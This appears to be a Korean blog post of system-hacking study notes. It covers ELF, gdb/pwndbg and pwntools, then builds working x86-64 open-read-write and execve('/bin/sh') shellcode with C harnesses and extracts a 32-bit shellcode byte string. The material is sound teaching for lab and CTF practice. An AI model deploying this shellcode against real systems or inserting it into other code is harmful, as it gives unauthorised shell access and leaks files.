ELF(Executable and Linkable Format)

: 리눅스 실행파일 형식

  • 헤더와 여러 섹션들로 구성됨
  • 헤더: 실행에 필요한 여러 정보가 적혀 있음
  • 섹션: 컴파일된 기계어 코드, 프로그램 문자열을 비롯한 여러 데이터 포함

 

진입점(Entry Point, EP)

: ELF 헤더에 존재하는 필드

  • 운영체제는 ELF를 실행할 때 진입점 값부터 프로그램을 실행함

 

start 명령어(gdb)

  • : 진입점부터 프로그램을 분석할 수 있게 함

 

 

맥락(context)

: pwndbg에서 주요 메모리들의 상태를 말함 (=프로그램이 실행되는 맥락)

  • 1. registers : 레지스터 상태 표시
  • 2. disasm : rip부터 여러 줄에 걸쳐 디스어셈블된 결과를 보여줌
  • 3. stack : rsp부터 여러 줄에 걸쳐 스택의 값들을 보여줌
  • 4. backtrace : 현재 rip에 도달할 때까지 어떤 함수들이 중첩되어 호출됐는지 보여줌
  • 이들은 어셈블리를 실행할 때마다 갱신됨 -> 방금 실행한 어셈블리명령어가 메모리에 준 영향을 쉽게 파악할 수 있도록 함

 

break & continue

: 특정 주소에 중단점(break)을 설정하거나 중단된 프로그램을 계속 실행시키는 기능

  • 일반적으로 gdb를 이용하여 프로그램을 분석할 때는 전체 중 일부의 동작에만 관심이 있으므로
  • 원하는 함수에 break로 중단점을 설정하고 처음부터 프로그램을 실행시켜 원하는 함수까지 가게 한 뒤
  • 해당 함수에서 프로그램이 중단되게 해서 중단 지점부터 세밀하게 분석

 

run

: 단순히 실행만 (멈추지 않고) 시키는 기능

  • 중단점이 설정되어 있다면 run 명령어를 실행해도 중단점에서 실행이 멈춤

 

 

disassembly

: 기계어를 디스어셈블리하는 기능

  • gdb는 프로그램을 어셈블리 코드 단위로 실행/결과 게시하므로 디스어셈블 기능을 기본적으로 탑재하고 있음
  • disassemble 명령어를 통해 인자로 받은 함수 이름을 반환 시까지 전부 디스어셈블해 보여줌
  • u, nearpc, pdisassemble 명령어로 디스어셈블된 코드를 가독성좋게 볼 수 있음

 

 

navigate

: 중단점부터의 명령어를 한 줄씩 자세히 분석

  • ni는 서브루틴 내부로 들어가지 않고, si(step into)는 서브루틴 내부로 들어가서 분석하는 명령어

 

 

finish

: 함수의 끝까지 한번에 실행하는 명령어

  • step into로 함수 내부에 들어갔는데 함수의 규모가 커서 ni만으로는 원래 실행흐름으로 돌아가기 어려워졌을 때 사용

 

examine (x)

: 특정 주소에서 원하는 길이만큼의 데이터를 원하는 형식으로 인코딩

 

telescope

: 메모리가 참고하고 있는 주소를 재귀적으로 탐색하여 값을 보여줌(덤프)

 

vmmap

: 가상 메모리의 레이아웃 표시 (파일이 매핑된 영역일 경우 해당 파일 경로까지 보여줌)


pwntools

: 익스플로잇 스크립트를 제작하는 파이썬 모듈

  • 본래 공격 페이로드는 파이썬으로 제작되어 파이프를 통해 프로그램에 전달되었으나
  • 이 방식은 익스플로잇이 조금만 복잡해져도 사용하기 어려움
  • -> 펄, 파이썬, C 등으로 익스플로잇 스크립트/바이너리를 제작하게 됨
  • / 그러나 이 방식으로는 자주 사용하는 함수들을 반복적으로 구현해야 했고 이는 비효율적
  • => pwntools 등장

 

 

1.process & remote

  • process 함수 : 익스플로잇을 로컬 바이너리를 대상으로 할 때 사용하는 함수 - 익스플로잇 테스트&디버깅
  • remote 함수 : 원격 서버를 대상으로 할 때 사용하는 함수 - 대상 서버 공격

 

 

2. send

  • send 함수 : 데이터를 프로세스에 전송

 

3. recv

recv 함수: 프로세스에서 데이터를 수령

  • recv(n) : 최대 n 바이트를 받는 것이므로 그만큼을 받지 못해도 에러를 발생시키지 않음
  • recvn(n) : 정확히 n 바이트의 데이터를 받지 못하면 계속 기다림

 

4. packing & unpacking

: 어떤 값을 리틀 엔디언의 바이트 배열로 변경하거나, 또는 역으로 변환

 

 

5. interactive

: 셸을 획득했거나, 익스플로잇의 특정 상황에 직접 입력을 주면서 출력을 확인하고 싶을 때 사용

  • 호출하고 나면 터미널로 프로세스에 데이터를 입력하고, 프로세스의 출력을 확인할 수 있음

 

 

6. ELF

: ELF 헤더에 기록된 익스플로잇에 사용될 수 있는 정보 참조

 

 

7. context.log

: 로깅 기능

 

 

8. context.arch

: 아키텍쳐 정보를 프로그래머가 저장할 수 있게 함

  • 셸코드의 생성/어셈블/디스어셈블은 공격 대상의 아키텍쳐에 영향받기 때문

 

 

9. shellcraft

: 자주 사용되는 셸코드들이 저장되어 있어 쉽게 꺼내쓸 수 있음

  • / 정적으로 생성되어 실행시의 메모리상태를 반영하지 못하며
  • 프로그램에 따라 입력할 수 있는 셸코드의 제한길이나 문자종류 제한도 반영하지 못함
  • (위 상황에서는 직접 작성하는 것이 좋음)

 

 

10. asm

: 어셈블 기능

  • (대상 아키텍쳐가 중요하므로 아키텍쳐를 미리 지정해야 함)

 


익스플로잇(Exploit)

: 해킹에서 상대 시스템을 공격하는 것

 

1. 셸코드(Shellcode)

: 익스플로잇을 위해 제작된 어셈블리 코드 조각

일반적으로 셸을 획득하기 위해 사용함

rip를 자신이 작성한 셸코드로 옮길 수 있으면 해커는 원하는 어셈블리 코드가 실행되게 할 수 있고

어셈블리어는 기계어와 거의 1:1 대응되므로 원하는 거의 모든 명령을 CPU에 내릴 수 있게 됨

어셈블리어로 구성되므로 공격을 수행할 대상 아키텍처와 운영체제에 따라, 그리고 셸코드의 목적에 따라 다르게 작성

아키텍쳐별 공유 셸코드 사이트도 있으나 범용적으로 작성된 것이므로 실행될 때의 시스템 환경을 완전히 반영하지는 x

최적의 셸코드는 일반적으로 직접 작성(반드시 그래야 할 경우도 존재)

 

2. orw 셸코드

: 파일을 열고 읽은 뒤 화면에 출력하는 셸코드

예시 작성

: "/tmp/flag" 를 읽는 셸코드

 

전체 셸코드 동작 의사코드

char buf[0x30];
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30); 
write(1, buf, 0x30);

 

2-1. int fd = open(“/tmp/flag”, O_RDONLY, NULL)

: "/tmp/flag" 문자열을 메모리에 위치시키기

  1. 스택에 0x616c662f706d742f67(/tmp/flag)를 push
  2. rdi가 이를 가리키도록 rsp를 rdi로 옮김
  3. O_RDONLY는 0이므로, rsi는 0으로 설정
  4. 파일을 읽을 때 mode는 의미를 갖지 않으므로 rdx는 0으로 설정
  5. rax를 open의 syscall 값인 2로 설정
push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)

 

 

2-2.read(fd, buf, 0x30)

  1. syscall의 반환 값은 rax로 저장됨 -> open으로 획득한 /tmp/flag의 fd는 rax에 저장됨
  2. read의 첫 번째 인자를 이 값으로 설정해야 하므로 rax를 rdi에 대입
  3. rsi = 파일에서 읽은 데이터를 저장할 주소. 0x30만큼 읽을 것이므로, rsi에 rsp-0x30을 대입
  4. rdx는 파일로부터 읽어낼 데이터의 길이인 0x30으로 설정
  5. read 시스템콜을 호출하기 위해서 rax를 0으로 설정

 

mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)
 
 

+ fd (파일 서술자(File Descriptor, fd))

: 유닉스 계열의 운영체제에서 파일에 접근하는 소프트웨어에 제공하는 가상의 접근 제어자
  • 프로세스마다 고유의 서술자 테이블을 갖고 있으며, 그 안에 여러 파일 서술자를 저장
  • 서술자 각각은 번호로 구별
  • 0번 : 일반 입력(Standard Input, STDIN)
  • 1번 : 일반 출력(Standard Output, STDOUT)
  • 2번 : 일반 오류(Standard Error, STDERR)
  • 이들은 프로세스를 터미널과 연결해줌
  • 프로세스가 생성된 이후 위의 open같은 함수를 통해 어떤 파일과 프로세스를 연결하려고 하면
  • 기본으로 할당된 2번 이후의 번호를 새로운 fd에 차례로 할당해줌.
  • 프로세스는 그 fd를 이용하여 파일에 접근할 수 있음

 

3. write(1, buf, 0x30)

  1. 출력은 stdout으로 할 것이므로 rdi를 0x1로 설정
  2. rsi와 rdx는 read에서 사용한 값을 그대로 사용
  3. write 시스템콜을 호출하기 위해서 rax를 1로 설정
mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

 

 

종합

;Name: orw.S
push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)
mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

 

 

orw 셸코드 컴파일 및 실행

  • 리눅스의 실행 가능 파일 형식은 ELF(Executable and Linkable Format)이므로
  • gcc 컴파일을 통해 어셈블리 코드를 리눅스에서 실행할 수 있는 ELF형식으로 만들어야 함
  • : 셸코드를 실행할 수 있는 스켈레톤 코드(핵심 내용이 비어있는 기본 구조만 갖춘 코드)를 C로 작성하고
  • 거기에 셸코드를 탑재

 

스켈레톤 코드

// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel
__asm__(
    ".global run_sh\n"
    "run_sh:\n"
    "push 0x67\n"
    "mov rax, 0x616c662f706d742f \n"
    "push rax\n"
    "mov rdi, rsp    # rdi = '/tmp/flag'\n"
    "xor rsi, rsi    # rsi = 0 ; RD_ONLY\n"
    "xor rdx, rdx    # rdx = 0\n"
    "mov rax, 2      # rax = 2 ; syscall_open\n"
    "syscall         # open('/tmp/flag', RD_ONLY, NULL)\n"
    "\n"
    "mov rdi, rax      # rdi = fd\n"
    "mov rsi, rsp\n"
    "sub rsi, 0x30     # rsi = rsp-0x30 ; buf\n"
    "mov rdx, 0x30     # rdx = 0x30     ; len\n"
    "mov rax, 0x0      # rax = 0        ; syscall_read\n"
    "syscall           # read(fd, buf, 0x30)\n"
    "\n"
    "mov rdi, 1        # rdi = 1 ; fd = stdout\n"
    "mov rax, 0x1      # rax = 1 ; syscall_write\n"
    "syscall           # write(fd, buf, 0x30)\n"
    "\n"
    "xor rdi, rdi      # rdi = 0\n"
    "mov rax, 0x3c	   # rax = sys_exit\n"
    "syscall		   # exit(0)");
void run_sh();
int main() { run_sh(); }
  • 위 방법으로 컴파일해 실행하면 성공적으로 저장된 문자열이 출력됨
  • 만약 공격의 대상이 되는 시스템에서 이 셸코드를 실행할 수 있다면 상대 서버의 자료를 유출해낼 수 있을 것
  • / 그러나 /tmp/flag의 내용 말고도 몇 자의 문자열들이 함께 출력되었으므로 디버깅을 통한 원인분석이 필요함

 

 

orw 셸코드 디버깅

  • orw를 gdb로 열고, run_sh()함수에 브레이크 포인트를 설정
  • run명령어로 run_sh()함수의 시작 부분까지 코드를 실행
  • -> 작성한 셸코드에 rip가 위치한 것을 확인

 

 

1. int fd = open(“/tmp/flag”, O_RDONLY, NULL)

  • : 첫번째 syscall전까지 실행하고, syscall에 들어가는 인자를 확인
[REGISTERS] 
 RAX  0x2
 RBX  0x0
 RCX  0x555555554670 (__libc_csu_init) ◂— push   r15
 RDX  0x0
 RDI  0x7fffffffc2a8 ◂— '/tmp/flag'
 RSI  0x0
 ...
 
[DISASM]
   0x555555554606 <run_sh+12>    push   rax
   0x555555554607 <run_sh+13>    mov    rdi, rsp
   0x55555555460a <run_sh+16>    xor    rsi, rsi
   0x55555555460d <run_sh+19>    xor    rdx, rdx
   0x555555554610 <run_sh+22>    mov    rax, 2
 ► 0x555555554617 <run_sh+29>    syscall  <SYS_open>
        file: 0x7fffffffc2a8 ◂— '/tmp/flag'
        oflag: 0x0
        vararg: 0x0
  • (pwndbg플러그인은 syscall을 호출할 때 인자를 분석해줌)
  • 셸코드를 작성할 때 계획했듯, open(“/tmp/flag”, O_RDONLY, NULL)가 실행됨을 확인할 수 있음
  • open 시스템 콜을 수행한 결과로 /tmp/flag의 fd(3)가 rax에 저장
[REG]
*RAX  0x3
 RBX  0x0
*RCX  0x555555554619 (run_sh+31) ◂— mov    rdi, rax
 RDX  0x0
 RDI  0x7fffffffc2a8 ◂— '/tmp/flag'
 RSI  0x0
 ...
[DISASM]   
   0x555555554607 <run_sh+13>    mov    rdi, rsp
   0x55555555460a <run_sh+16>    xor    rsi, rsi
   0x55555555460d <run_sh+19>    xor    rdx, rdx
   0x555555554610 <run_sh+22>    mov    rax, 2
   0x555555554617 <run_sh+29>    syscall
 ► 0x555555554619 <run_sh+31>    mov    rdi, rax

 

 

2.read(fd, buf, 0x30)

  • : 두번째 syscall 직전까지 실행하고 인자 분석
[REGISTERS]
*RAX  0x0
 RBX  0x0
 RCX  0x555555554619 (run_sh+31) ◂— mov    rdi, rax
 RDX  0x30
 RDI  0x3
 RSI  0x7fffffffc278 ◂— 0xf0b5ff 
[DISASM] 
   0x555555554619 <run_sh+31>    mov    rdi, rax
   0x55555555461c <run_sh+34>    mov    rsi, rsp
   0x55555555461f <run_sh+37>    sub    rsi, 0x30
   0x555555554623 <run_sh+41>    mov    rdx, 0x30
   0x55555555462a <run_sh+48>    mov    rax, 0
 ► 0x555555554631 <run_sh+55>    syscall  <SYS_read>
        fd: 0x3
        buf: 0x7fffffffc278 ◂— 0xf0b5ff
        nbytes: 0x30
  • 새로 할당한 /tmp/flag의 fd(3)에서 데이터를 0x30바이트만큼 읽어서 0x7fffffffc278에 저장
[DISASM]
   0x55555555461c <run_sh+34>    mov    rsi, rsp
   0x55555555461f <run_sh+37>    sub    rsi, 0x30
   0x555555554623 <run_sh+41>    mov    rdx, 0x30
   0x55555555462a <run_sh+48>    mov    rax, 0
   0x555555554631 <run_sh+55>    syscall
 ► 0x555555554633 <run_sh+57>    mov    rdi, 1
  • 실행 결과를 x/s로 확인하면
  • 0x7fffffffc278에 /tmp/flag의 문자열이 성공적으로 저장된 것을 확인할 수 있음

 

 

3. write(1, buf, 0x30)

: 읽어낸 데이터를 출력하는 write 시스템 콜을 실행

[REGISTERS]
*RAX  0x1
 RBX  0x0
 RCX  0x555555554633 (run_sh+57) ◂— mov    rdi, 1
 RDX  0x30
 RDI  0x1
 RSI  0x7fffffffc278 ◂— 'flag{this_is_open_read_write_shellcode!}\nFUUUU'
 
[DISASM]
   0x555555554623 <run_sh+41>    mov    rdx, 0x30
   0x55555555462a <run_sh+48>    mov    rax, 0
   0x555555554631 <run_sh+55>    syscall
   0x555555554633 <run_sh+57>    mov    rdi, 1
   0x55555555463a <run_sh+64>    mov    rax, 1
 ► 0x555555554641 <run_sh+71>    syscall  <SYS_write>
  • 데이터를 저장한 0x7fffffffc278에서 48바이트를 출력
flag{this_is_open_read_write_shellcode!}
FUUUU

 

-> 이번에도 /tmp/flag의 데이터 외에 알수없는 문자열이 출력됨

-> 초기화되지 않은 메모리 영역 사용에 의한 문제

 

 

Appendix. Uninitialized Memory

[DISASM]
   0x55555555461c <run_sh+34>    mov    rsi, rsp
   0x55555555461f <run_sh+37>    sub    rsi, 0x30
   0x555555554623 <run_sh+41>    mov    rdx, 0x30
   0x55555555462a <run_sh+48>    mov    rax, 0
   0x555555554631 <run_sh+55>    syscall
 ► 0x555555554633 <run_sh+57>    mov    rdi, 1
  • 아까와 같이 파일을 읽어서 스택에 저장하고 해당 스택의 영역을 다시 조회
pwndbg> x/6gx 0x7fffffffc278
0x7fffffffc278: 0x6968747b67616c66      0x65706f5f73695f73
0x7fffffffc288: 0x775f646165725f6e      0x6568735f65746972
0x7fffffffc298: 0x7d2165646f636c6c      0x000055555555460a
  • 48바이트 중 앞의 40바이트만 저장된 파일의 데이터이고 뒤의 8바이트는 저장한 적이 없는 데이터
  • 이 데이터가 나중에 write시스템콜을 수행할 때 플래그와 함께 출력되는 것
  • = 메모리 릭 : 위와 같은 현상을 이용해 중요한 값을 유출해 내는 것

  • 셸(Shell, 껍질) : 운영체제에 명령을 내리기 위해 사용되는 사용자의 인터페이스
  • 커널(Kernel, 호두 속 내용물) : 운영체제의 핵심 기능을 하는 프로그램
  • 셸은 커널을 제어하기 위한 인터페이스.
  • 셸을 획득하면 시스템을 제어할 수 있게 되므로 보통 셸 획득 = 시스템 해킹 성공

 

 

1. execve 셸코드

: 임의의 프로그램을 실행하는 셸코드

  • 이를 이용하면 서버 셸을 획득할 수 있음. 보통 셸코드라고 하면 이것을 가리킴
  • 최신 리눅스는 대부분 sh, bash를 기본 셸 프로그램으로 탑재하고 있으며
  • 이외에도 zsh, tsh 등의 셸을 유저가 설치해 사용할 수 있음
  • 우분투에는 /bin/sh로 나타남

 

 

 

1-1. execve(“/bin/sh”, null, null)

syscall rax arg0 (rdi) arg1 (rsi) arg2 (rdx)
execve 0x3b const char *filename const char *const *argv const char *const *envp
  • argv = 실행파일에 넘겨줄 인자
  • envp = 환경변수
  • sh를 실행하는 것이 목적이므로 다른 값은 전부 null로 설정해줘도 됨
  • 리눅스에서는 기본 실행 프로그램들이 /bin/ 디렉토리에 저장되어 있음. sh도 포함
  • => execve("/bin/sh", null, null)을 실행하는 것을 목표로 셸코드를 작성하면 됨

 

 

1-2.execve 셸코드 컴파일 및 실행

  • 앞에서 사용한 스켈레톤 코드를 사용하여 execve 셸코드 컴파일
// File name: execve.c
// Compile Option: gcc -o execve execve.c -masm=intel
__asm__(
    ".global run_sh\n"
    "run_sh:\n"
    "mov rax, 0x68732f6e69622f\n"
    "push rax\n"
    "mov rdi, rsp  # rdi = '/bin/sh'\n"
    "xor rsi, rsi  # rsi = NULL\n"
    "xor rdx, rdx  # rdx = NULL\n"
    "mov rax, 0x3b # rax = sys_execve\n"
    "syscall       # execve('/bin/sh', null, null)\n"
    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c	# rax = sys_exit\n"
    "syscall        # exit(0)");
void run_sh();
int main() { run_sh(); }
bash$ gcc -o execve execve.c -masm=intel
bash$ ./execve
sh$ id 
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)
  • 디버깅은 orw 셸코드와 동일.

 

 

 

 

1-3. objdump 를 이용한 shellcode 추출

  • 주어진 shellcode.asm 에 대해서 이를 바이트 코드로 바꾸는 과정
; File name: shellcode.asm
section .text
global _start
_start:
xor    eax, eax
push   eax
push   0x68732f2f
push   0x6e69622f
mov    ebx, esp
xor    ecx, ecx
xor    edx, edx
mov    al, 0xb
int    0x80
$ sudo apt-get install nasm 
$ nasm -f elf shellcode.asm
$ objdump -d shellcode.o
shellcode.o:     file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
   0:	31 c0                	xor    %eax,%eax
   2:	50                   	push   %eax
   3:	68 2f 2f 73 68       	push   $0x68732f2f
   8:	68 2f 62 69 6e       	push   $0x6e69622f
   d:	89 e3                	mov    %esp,%ebx
   f:	31 c9                	xor    %ecx,%ecx
  11:	31 d2                	xor    %edx,%edx
  13:	b0 0b                	mov    $0xb,%al
  15:	cd 80                	int    $0x80
$
$ objcopy --dump-section .text=shellcode.bin shellcode.o
$ xxd shellcode.bin
00000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e331  1.Ph//shh/bin..1
00000010: c931 d2b0 0bcd 80                        .1.....
$ 
execve /bin/sh shellcode: 
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"

 

 

'LINUX' 카테고리의 다른 글

[시스템해킹] stage 6  (1) 2022.09.30
[시스템해킹] stage 5  (0) 2022.09.22
[시스템해킹] Stage 1, 2  (0) 2022.09.08
8주차 - [F.T.Z] Level4 ~ Level5  (0) 2022.06.25
7주차 - [F.T.Z] Level 3  (0) 2022.06.19

+ Recent posts